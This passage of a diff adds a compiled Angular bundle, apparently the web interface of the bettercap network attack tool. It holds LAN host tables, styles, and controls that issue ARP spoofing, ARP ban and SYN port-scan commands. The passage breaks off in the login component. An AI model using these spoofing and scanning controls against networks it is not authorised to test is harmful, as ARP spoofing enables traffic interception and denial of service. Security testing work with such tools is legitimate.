+ this.sortService.sort(this.devices, this.sort);
+ if (this.curDev != null) {
+ for (var i = 0; i < this.devices.length; i++) {
+ var dev = this.devices[i];
+ if (dev.address == this.curDev.address) {
+ this.curDev = dev;
+ break;
+ }
+ }
+ }
+ };
+ HidTableComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-hid-table',
+ template: __webpack_require__(/*! ./hid-table.component.html */ "./src/app/components/hid-table/hid-table.component.html"),
+ styles: [__webpack_require__(/*! ./hid-table.component.scss */ "./src/app/components/hid-table/hid-table.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_3__["ApiService"], _services_sort_service__WEBPACK_IMPORTED_MODULE_2__["SortService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"], _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__["ClipboardService"]])
+ ], HidTableComponent);
+ return HidTableComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/lan-table/lan-table.component.html":
+/*!***************************************************************!*\
+ !*** ./src/app/components/lan-table/lan-table.component.html ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n\n
\n
\n \n \n | IP | \n MAC | \n Hostname | \n Vendor | \n Sent | \n Recvd | \n Seen | \n Info | \n
\n \n \n \n | \n empty\n | \n
\n\n \n | \n \n \n \n\n \n \n\n \n\n \n \n\n \n {{ host.ipv4 }}\n \n \n {{ scanState.progress | number:'1.0-0' }}%\n \n \n \n \n \n\n | \n \n \n \n \n \n | \n \n {{ host.hostname }}\n \n \n {{ host.alias }}\n \n | \n {{ host.vendor ? host.vendor : 'unknown' }} | \n {{ host.sent | size }} | \n {{ host.received | size }} | \n {{ host.last_seen | date: 'HH:mm:ss'}} | \n \n\n interface\n gateway\n\n \n\n \n \n\n \n\n \n\n \n\n | \n
\n \n
\n
\n\n
\n
\n
\n \n
\n
\n
\n
\n
\n
\n\n
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/lan-table/lan-table.component.scss":
+/*!***************************************************************!*\
+ !*** ./src/app/components/lan-table/lan-table.component.scss ***!
+ \***************************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = ".paused:after {\n font-family: \"Font Awesome 5 Free\";\n font-weight: 900;\n content: \"\\f04c\";\n position: absolute;\n font-size: 400px;\n top: 50%;\n left: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n opacity: 0.02;\n color: white;\n z-index: 1000;\n pointer-events: none;\n}\n\ndiv.table-responsive {\n min-height: 600px;\n overflow: initial;\n}\n\n.table .table {\n background-color: #313539;\n}\n\ndiv.table-dropdown {\n z-index: 1000;\n position: absolute;\n right: 0;\n padding: 5px;\n border: 1px solid #212529;\n border-radius: 3px;\n background-color: #313539;\n display: table;\n font-size: 0.8rem;\n}\n\ndiv.menu-dropdown {\n z-index: 99999;\n padding: 5px;\n border: 1px solid #212529;\n border-radius: 3px;\n background-color: #313539;\n font-size: 0.8rem;\n}\n\ndiv.menu-dropdown ul li {\n padding: 5px;\n cursor: pointer;\n}\n\ndiv.menu-dropdown ul li:hover {\n background-color: #414549;\n}\n\ndiv.menu-dropdown ul li a {\n color: white !important;\n width: 100% !important;\n display: block;\n cursor: pointer;\n}\n\ndiv.menu-dropdown ul li a:hover {\n text-decoration: none;\n}\n\n.drop-left {\n right: auto;\n left: 0;\n}\n\ntr.alive {\n background-color: #313539;\n}\n\ntr.alive td.time {\n font-weight: bold;\n}\n\ntd.nowrap,\nth.nowrap,\ntr.nowrap {\n white-space: nowrap;\n}\n\ntable.table-dark tbody tr:hover {\n background-color: rgba(38, 45, 53, 0.95);\n}\n\ntd.metas .badge {\n margin-left: 5px;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbGFuLXRhYmxlL2xhbi10YWJsZS5jb21wb25lbnQuc2NzcyIsInNyYy9hcHAvY29tcG9uZW50cy9sYW4tdGFibGUvbGFuLXRhYmxlLmNvbXBvbmVudC5zY3NzIiwiL1VzZXJzL2V2aWxzb2NrZXQvQmFoYW11dC9MYWIvYmV0dGVyY2FwL3VpL3N0ZGluIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFBO0VBQ0ksa0NBQUE7RUFDQSxnQkFBQTtFQUNBLGdCQUFBO0VBQ0Esa0JBQUE7RUFDQSxnQkFBQTtFQUNBLFFBQUE7RUFDQSxTQUFBO0VBQ0Esd0NBQUE7VUFBQSxnQ0FBQTtFQUNBLGFBQUE7RUFDQSxZQUFBO0VBQ0EsYUFBQTtFQUNBLG9CQUFBO0FDQ0o7O0FERUE7RUFDSSxpQkFBQTtFQUNBLGlCQUFBO0FDQ0o7O0FERUE7RUFDSSx5QkFBQTtBQ0NKOztBREVBO0VBQ0ksYUFBQTtFQUNBLGtCQUFBO0VBQ0EsUUFBQTtFQUNBLFlBQUE7RUFDQSx5QkFBQTtFQUNBLGtCQUFBO0VBQ0EseUJBQUE7RUFDQSxjQUFBO0VBQ0EsaUJBQUE7QUNDSjs7QURFQTtFQUNJLGNBQUE7RUFDQSxZQUFBO0VBQ0EseUJBQUE7RUFDQSxrQkFBQTtFQUNBLHlCQUFBO0VBQ0EsaUJBQUE7QUNDSjs7QURFUTtFQUNJLFlBQUE7RUFDQSxlQUFBO0FDQVo7O0FEQ1k7RUFDSSx5QkFBQTtBQ0NoQjs7QURDWTtFQUNJLHVCQUFBO0VBQ0Esc0JBQUE7RUFDQSxjQUFBO0VBQ0EsZUFBQTtBQ0NoQjs7QURBZ0I7RUFDSSxxQkFBQTtBQ0VwQjs7QURLQTtFQUNJLFdBQUE7RUFDQSxPQUFBO0FDRko7O0FES0E7RUFDSSx5QkFBQTtBQ0ZKOztBREdJO0VBQ0ksaUJBQUE7QUNEUjs7QURLQTs7O0VBR0ksbUJBQUE7QUNGSjs7QURPUTtFQUNJLHdDQUFBO0FDSlo7O0FDOUVJO0VBQ0ksZ0JBQUE7QURpRlIiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL2xhbi10YWJsZS9sYW4tdGFibGUuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIucGF1c2VkOmFmdGVyIHtcbiAgICBmb250LWZhbWlseTogJ0ZvbnQgQXdlc29tZSA1IEZyZWUnO1xuICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgY29udGVudDogXCJcXGYwNGNcIjsgXG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIGZvbnQtc2l6ZTogNDAwcHg7XG4gICAgdG9wOiA1MCU7XG4gICAgbGVmdDogNTAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpO1xuICAgIG9wYWNpdHk6IC4wMjtcbiAgICBjb2xvcjogd2hpdGU7XG4gICAgei1pbmRleDogMTAwMDtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuZGl2LnRhYmxlLXJlc3BvbnNpdmUge1xuICAgIG1pbi1oZWlnaHQ6IDYwMHB4O1xuICAgIG92ZXJmbG93OiBpbml0aWFsO1xufVxuXG4udGFibGUgLnRhYmxlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xufVxuXG5kaXYudGFibGUtZHJvcGRvd24ge1xuICAgIHotaW5kZXg6IDEwMDA7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHJpZ2h0OiAwO1xuICAgIHBhZGRpbmc6IDVweDtcbiAgICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICAgIGJvcmRlci1yYWRpdXM6IDNweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xuICAgIGRpc3BsYXk6IHRhYmxlO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG59XG5cbmRpdi5tZW51LWRyb3Bkb3duIHtcbiAgICB6LWluZGV4OiA5OTk5OTtcbiAgICBwYWRkaW5nOiA1cHg7XG4gICAgYm9yZGVyOiAxcHggc29saWQgIzIxMjUyOTtcbiAgICBib3JkZXItcmFkaXVzOiAzcHg7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzMxMzUzOTtcbiAgICBmb250LXNpemU6IC44cmVtO1xuXG4gICAgdWwge1xuICAgICAgICBsaSB7XG4gICAgICAgICAgICBwYWRkaW5nOiA1cHg7XG4gICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDE0NTQ5O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6IHdoaXRlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cbi5kcm9wLWxlZnQge1xuICAgIHJpZ2h0OiBhdXRvO1xuICAgIGxlZnQ6IDA7XG59XG5cbnRyLmFsaXZlIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xuICAgIHRkLnRpbWUge1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDsgXG4gICAgfVxufVxuXG50ZC5ub3dyYXAsXG50aC5ub3dyYXAsXG50ci5ub3dyYXAge1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG59XG5cbnRhYmxlLnRhYmxlLWRhcmsge1xuICAgIHRib2R5IHtcbiAgICAgICAgdHI6aG92ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgzOCwgNDUsIDUzLCAwLjk1KTtcbiAgICAgICAgfVxuICAgIH1cbn1cbiIsIi5wYXVzZWQ6YWZ0ZXIge1xuICBmb250LWZhbWlseTogXCJGb250IEF3ZXNvbWUgNSBGcmVlXCI7XG4gIGZvbnQtd2VpZ2h0OiA5MDA7XG4gIGNvbnRlbnQ6IFwiXFxmMDRjXCI7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgZm9udC1zaXplOiA0MDBweDtcbiAgdG9wOiA1MCU7XG4gIGxlZnQ6IDUwJTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gIG9wYWNpdHk6IDAuMDI7XG4gIGNvbG9yOiB3aGl0ZTtcbiAgei1pbmRleDogMTAwMDtcbiAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG59XG5cbmRpdi50YWJsZS1yZXNwb25zaXZlIHtcbiAgbWluLWhlaWdodDogNjAwcHg7XG4gIG92ZXJmbG93OiBpbml0aWFsO1xufVxuXG4udGFibGUgLnRhYmxlIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMxMzUzOTtcbn1cblxuZGl2LnRhYmxlLWRyb3Bkb3duIHtcbiAgei1pbmRleDogMTAwMDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICByaWdodDogMDtcbiAgcGFkZGluZzogNXB4O1xuICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMTM1Mzk7XG4gIGRpc3BsYXk6IHRhYmxlO1xuICBmb250LXNpemU6IDAuOHJlbTtcbn1cblxuZGl2Lm1lbnUtZHJvcGRvd24ge1xuICB6LWluZGV4OiA5OTk5OTtcbiAgcGFkZGluZzogNXB4O1xuICBib3JkZXI6IDFweCBzb2xpZCAjMjEyNTI5O1xuICBib3JkZXItcmFkaXVzOiAzcHg7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzMTM1Mzk7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xufVxuZGl2Lm1lbnUtZHJvcGRvd24gdWwgbGkge1xuICBwYWRkaW5nOiA1cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzQxNDU0OTtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpIGEge1xuICBjb2xvcjogd2hpdGUgIWltcG9ydGFudDtcbiAgd2lkdGg6IDEwMCUgIWltcG9ydGFudDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGN1cnNvcjogcG9pbnRlcjtcbn1cbmRpdi5tZW51LWRyb3Bkb3duIHVsIGxpIGE6aG92ZXIge1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG59XG5cbi5kcm9wLWxlZnQge1xuICByaWdodDogYXV0bztcbiAgbGVmdDogMDtcbn1cblxudHIuYWxpdmUge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzEzNTM5O1xufVxudHIuYWxpdmUgdGQudGltZSB7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuXG50ZC5ub3dyYXAsXG50aC5ub3dyYXAsXG50ci5ub3dyYXAge1xuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xufVxuXG50YWJsZS50YWJsZS1kYXJrIHRib2R5IHRyOmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgzOCwgNDUsIDUzLCAwLjk1KTtcbn1cblxudGQubWV0YXMgLmJhZGdlIHtcbiAgbWFyZ2luLWxlZnQ6IDVweDtcbn0iLCJAaW1wb3J0IFwidGFibGVzXCI7XG5cbnRkLm1ldGFzIHtcbiAgICAuYmFkZ2Uge1xuICAgICAgICBtYXJnaW4tbGVmdDogNXB4O1xuICAgIH1cbn1cbiJdfQ== */"
+
+/***/ }),
+
+/***/ "./src/app/components/lan-table/lan-table.component.ts":
+/*!*************************************************************!*\
+ !*** ./src/app/components/lan-table/lan-table.component.ts ***!
+ \*************************************************************/
+/*! exports provided: LanTableComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "LanTableComponent", function() { return LanTableComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _services_sort_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../services/sort.service */ "./src/app/services/sort.service.ts");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/omnibar.service */ "./src/app/services/omnibar.service.ts");
+/* harmony import */ var _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../services/clipboard.service */ "./src/app/services/clipboard.service.ts");
+
+
+
+
+
+
+var LanTableComponent = /** @class */ (function () {
+ function LanTableComponent(api, sortService, omnibar, clipboard) {
+ this.api = api;
+ this.sortService = sortService;
+ this.omnibar = omnibar;
+ this.clipboard = clipboard;
+ this.hosts = [];
+ this.isSpoofing = false;
+ this.viewSpoof = false;
+ this.spoofList = {};
+ this.spoofOpts = {
+ targets: '',
+ whitelist: '',
+ fullduplex: false,
+ internal: false,
+ ban: false
+ };
+ this.scanState = {
+ scanning: [],
+ progress: 0.0
+ };
+ this.visibleMeta = null;
+ this.visibleMenu = null;
+ this.sort = { field: 'ipv4', type: 'ip', direction: 'desc' };
+ this.update(this.api.session);
+ }
+ LanTableComponent.prototype.ngOnInit = function () {
+ var _this = this;
+ this.api.onNewData.subscribe(function (session) {
+ _this.update(session);
+ });
+ this.sortSub = this.sortService.onSort.subscribe(function (event) {
+ _this.sort = event;
+ _this.sortService.sort(_this.hosts, event);
+ });
+ };
+ LanTableComponent.prototype.ngOnDestroy = function () {
+ this.sortSub.unsubscribe();
+ };
+ LanTableComponent.prototype.isSpoofed = function (host) {
+ return (host.ipv4 in this.spoofList);
+ };
+ LanTableComponent.prototype.updateSpoofOpts = function () {
+ this.spoofOpts.targets = Object.keys(this.spoofList).join(', ');
+ };
+ LanTableComponent.prototype.resetSpoofOpts = function () {
+ this.spoofOpts = {
+ targets: this.api.session.env.data['arp.spoof.targets'],
+ whitelist: this.api.session.env.data['arp.spoof.whitelist'],
+ fullduplex: this.api.session.env.data['arp.spoof.fullduplex'].toLowerCase() == 'true',
+ internal: this.api.session.env.data['arp.spoof.internal'].toLowerCase() == 'true',
+ ban: false
+ };
+ };
+ LanTableComponent.prototype.hideSpoofMenu = function () {
+ this.viewSpoof = false;
+ this.resetSpoofOpts();
+ };
+ LanTableComponent.prototype.showSpoofMenuFor = function (host, add) {
+ if (add)
+ this.spoofList[host.ipv4] = true;
+ else
+ delete this.spoofList[host.ipv4];
+ this.updateSpoofOpts();
+ this.visibleMenu = null;
+ this.viewSpoof = true;
+ };
+ LanTableComponent.prototype.updateSpoofingList = function () {
+ var newSpoofList = this.spoofList;
+ $('.spoof-toggle').each(function (i, toggle) {
+ var $toggle = $(toggle);
+ var ip = $toggle.attr('data-ip');
+ if ($toggle.is(':checked')) {
+ newSpoofList[ip] = true;
+ }
+ else {
+ delete newSpoofList[ip];
+ }
+ });
+ this.spoofList = newSpoofList;
+ this.updateSpoofOpts();
+ };
+ LanTableComponent.prototype.onSpoofStart = function () {
+ if (this.isSpoofing && !confirm("This will unspoof the current targets, set the new parameters and restart the module. Continue?"))
+ return;
+ this.api.cmd('set arp.spoof.targets ' + (this.spoofOpts.targets == "" ? '""' : this.spoofOpts.targets));
+ this.api.cmd('set arp.spoof.whitelist ' + (this.spoofOpts.whitelist == "" ? '""' : this.spoofOpts.whitelist));
+ this.api.cmd('set arp.spoof.fullduplex ' + this.spoofOpts.fullduplex);
+ this.api.cmd('set arp.spoof.internal ' + this.spoofOpts.internal);
+ var onCmd = this.spoofOpts.ban ? 'arp.ban on' : 'arp.spoof on';
+ if (this.isSpoofing) {
+ this.api.cmd('arp.spoof off; ' + onCmd);
+ }
+ else {
+ this.api.cmd(onCmd);
+ }
+ this.viewSpoof = false;
+ this.resetSpoofOpts();
+ };
+ LanTableComponent.prototype.update = function (session) {
+ var ipRe = /^(?=.*[^\.]$)((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.?){4}$/;
+ var spoofing = this.api.session.env.data['arp.spoof.targets']
+ // split by comma and trim spaces
+ .split(',')
+ .map(function (s) { return s.trim(); })
+ // remove empty elements
+ .filter(function (s) { return s.length; });
+ this.isSpoofing = this.api.module('arp.spoof').running;
+ this.scanState = this.api.module('syn.scan').state;
+ // freeze the interface while the user is doing something
+ if (this.viewSpoof || $('.menu-dropdown').is(':visible'))
+ return;
+ this.resetSpoofOpts();
+ this.spoofList = {};
+ // if there are elements that are not IP addresses, it means the user
+ // has set the variable manually, which overrides the UI spoof list.
+ for (var i_1 = 0; i_1 < spoofing.length; i_1++) {
+ if (ipRe.test(spoofing[i_1])) {
+ this.spoofList[spoofing[i_1]] = true;
+ }
+ else {
+ this.spoofList = {};
+ break;
+ }
+ }
+ this.iface = session.interface;
+ this.gateway = session.gateway;
+ this.hosts = [];
+ // if we `this.hosts` = session.lan['hosts'], pushing
+ // to this.hosts will also push to the session object
+ // duplicating the iface and gateway.
+ for (var i = 0; i < session.lan['hosts'].length; i++) {
+ var host = session.lan['hosts'][i];
+ // get traffic details for this host
+ var sent = 0, received = 0;
+ if (host.ipv4 in session.packets.traffic) {
+ var traffic = session.packets.traffic[host.ipv4];
+ sent = traffic.sent;
+ received = traffic.received;
+ }
+ host.sent = sent;
+ host.received = received;
+ this.hosts.push(host);
+ }
+ if (this.iface.mac == this.gateway.mac) {
+ this.hosts.push(this.iface);
+ }
+ else {
+ this.hosts.push(this.iface);
+ this.hosts.push(this.gateway);
+ }
+ this.sortService.sort(this.hosts, this.sort);
+ };
+ LanTableComponent.prototype.setAlias = function (host) {
+ $('#in').val(host.alias);
+ $('#inhost').val(host.mac);
+ $('#inputModalTitle').html('Set alias for ' + host.mac);
+ $('#inputModal').modal('show');
+ };
+ LanTableComponent.prototype.doSetAlias = function () {
+ $('#inputModal').modal('hide');
+ var mac = $('#inhost').val();
+ var alias = $('#in').val();
+ if (alias.trim() == "")
+ alias = '""';
+ this.api.cmd("alias " + mac + " " + alias);
+ };
+ LanTableComponent.prototype.showScannerModal = function (host) {
+ $('#scanIP').val(host.ipv4);
+ $('#startPort').val('1');
+ $('#endPort').val('10000');
+ $('#scannerModal').modal('show');
+ };
+ LanTableComponent.prototype.doPortScan = function () {
+ var ip = $('#scanIP').val();
+ var startPort = $('#startPort').val();
+ var endPort = $('#endPort').val();
+ $('#scannerModal').modal('hide');
+ this.api.cmd("syn.scan " + ip + " " + startPort + " " + endPort);
+ };
+ LanTableComponent.prototype.groupMetas = function (metas) {
+ var grouped = {};
+ for (var name_1 in metas) {
+ var parts = name_1.split(':'), group = parts[0].toUpperCase(), sub = parts[1];
+ if (group in grouped) {
+ grouped[group][sub] = metas[name_1];
+ }
+ else {
+ grouped[group] = {};
+ grouped[group][sub] = metas[name_1];
+ }
+ }
+ // console.log("grouped", grouped);
+ return grouped;
+ };
+ LanTableComponent = tslib__WEBPACK_IMPORTED_MODULE_0__["__decorate"]([
+ Object(_angular_core__WEBPACK_IMPORTED_MODULE_1__["Component"])({
+ selector: 'ui-lan-table',
+ template: __webpack_require__(/*! ./lan-table.component.html */ "./src/app/components/lan-table/lan-table.component.html"),
+ styles: [__webpack_require__(/*! ./lan-table.component.scss */ "./src/app/components/lan-table/lan-table.component.scss")]
+ }),
+ tslib__WEBPACK_IMPORTED_MODULE_0__["__metadata"]("design:paramtypes", [_services_api_service__WEBPACK_IMPORTED_MODULE_3__["ApiService"], _services_sort_service__WEBPACK_IMPORTED_MODULE_2__["SortService"], _services_omnibar_service__WEBPACK_IMPORTED_MODULE_4__["OmniBarService"], _services_clipboard_service__WEBPACK_IMPORTED_MODULE_5__["ClipboardService"]])
+ ], LanTableComponent);
+ return LanTableComponent;
+}());
+
+
+
+/***/ }),
+
+/***/ "./src/app/components/login/login.component.html":
+/*!*******************************************************!*\
+ !*** ./src/app/components/login/login.component.html ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = "
\n"
+
+/***/ }),
+
+/***/ "./src/app/components/login/login.component.scss":
+/*!*******************************************************!*\
+ !*** ./src/app/components/login/login.component.scss ***!
+ \*******************************************************/
+/*! no static exports found */
+/***/ (function(module, exports) {
+
+module.exports = ".form-signin {\n width: 100%;\n max-width: 500px;\n padding: 15px;\n position: absolute;\n top: 50%;\n left: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n background-color: white;\n}\n\n.form-signin .form-control:focus {\n z-index: 2;\n}\n\n.form-signin input[type=text] {\n margin-bottom: -1px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.form-signin input[type=password] {\n margin-bottom: 10px;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiLCJzcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUE7RUFDSSxXQUFBO0VBRUEsZ0JBQUE7RUFDQSxhQUFBO0VBQ0Esa0JBQUE7RUFDQSxRQUFBO0VBQ0EsU0FBQTtFQUNBLHdDQUFBO1VBQUEsZ0NBQUE7RUFDQSx1QkFBQTtBQ0FKOztBRFFBO0VBQ0ksVUFBQTtBQ0xKOztBRFFBO0VBQ0ksbUJBQUE7RUFDQSw2QkFBQTtFQUNBLDRCQUFBO0FDTEo7O0FEUUE7RUFDSSxtQkFBQTtFQUNBLHlCQUFBO0VBQ0EsMEJBQUE7QUNMSiIsImZpbGUiOiJzcmMvYXBwL2NvbXBvbmVudHMvbG9naW4vbG9naW4uY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIuZm9ybS1zaWduaW4ge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIC8vIG1heC13aWR0aDogMzMwcHg7XG4gICAgbWF4LXdpZHRoOiA1MDBweDtcbiAgICBwYWRkaW5nOiAxNXB4O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiA1MCU7XG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7XG59XG5cblxuLmZvcm0tc2lnbmluIC5mb3JtLWNvbnRyb2wge1xuXG59XG5cbi5mb3JtLXNpZ25pbiAuZm9ybS1jb250cm9sOmZvY3VzIHtcbiAgICB6LWluZGV4OiAyO1xufVxuXG4uZm9ybS1zaWduaW4gaW5wdXRbdHlwZT1cInRleHRcIl0ge1xuICAgIG1hcmdpbi1ib3R0b206IC0xcHg7XG4gICAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG4gICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbn1cblxuLmZvcm0tc2lnbmluIGlucHV0W3R5cGU9XCJwYXNzd29yZFwiXSB7XG4gICAgbWFyZ2luLWJvdHRvbTogMTBweDtcbiAgICBib3JkZXItdG9wLWxlZnQtcmFkaXVzOiAwO1xuICAgIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xufVxuIiwiLmZvcm0tc2lnbmluIHtcbiAgd2lkdGg6IDEwMCU7XG4gIG1heC13aWR0aDogNTAwcHg7XG4gIHBhZGRpbmc6IDE1cHg7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiA1MCU7XG4gIGxlZnQ6IDUwJTtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwgLTUwJSk7XG4gIGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xufVxuXG4uZm9ybS1zaWduaW4gLmZvcm0tY29udHJvbDpmb2N1cyB7XG4gIHotaW5kZXg6IDI7XG59XG5cbi5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPXRleHRdIHtcbiAgbWFyZ2luLWJvdHRvbTogLTFweDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG4gIGJvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6IDA7XG59XG5cbi5mb3JtLXNpZ25pbiBpbnB1dFt0eXBlPXBhc3N3b3JkXSB7XG4gIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gIGJvcmRlci10b3AtcmlnaHQtcmFkaXVzOiAwO1xufSJdfQ== */"
+
+/***/ }),
+
+/***/ "./src/app/components/login/login.component.ts":
+/*!*****************************************************!*\
+ !*** ./src/app/components/login/login.component.ts ***!
+ \*****************************************************/
+/*! exports provided: LoginComponent */
+/***/ (function(module, __webpack_exports__, __webpack_require__) {
+
+"use strict";
+__webpack_require__.r(__webpack_exports__);
+/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "LoginComponent", function() { return LoginComponent; });
+/* harmony import */ var tslib__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! tslib */ "./node_modules/tslib/tslib.es6.js");
+/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js");
+/* harmony import */ var _angular_router__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @angular/router */ "./node_modules/@angular/router/fesm5/router.js");
+/* harmony import */ var _angular_forms__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @angular/forms */ "./node_modules/@angular/forms/fesm5/forms.js");
+/* harmony import */ var _services_api_service__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ../../services/api.service */ "./src/app/services/api.service.ts");
+/* harmony import */ var _environments_environment__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ../../../environments/environment */ "./src/environments/environment.ts");
+/* harmony import */ var url_parse__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! url-parse */ "./node_modules/url-parse/index.js");
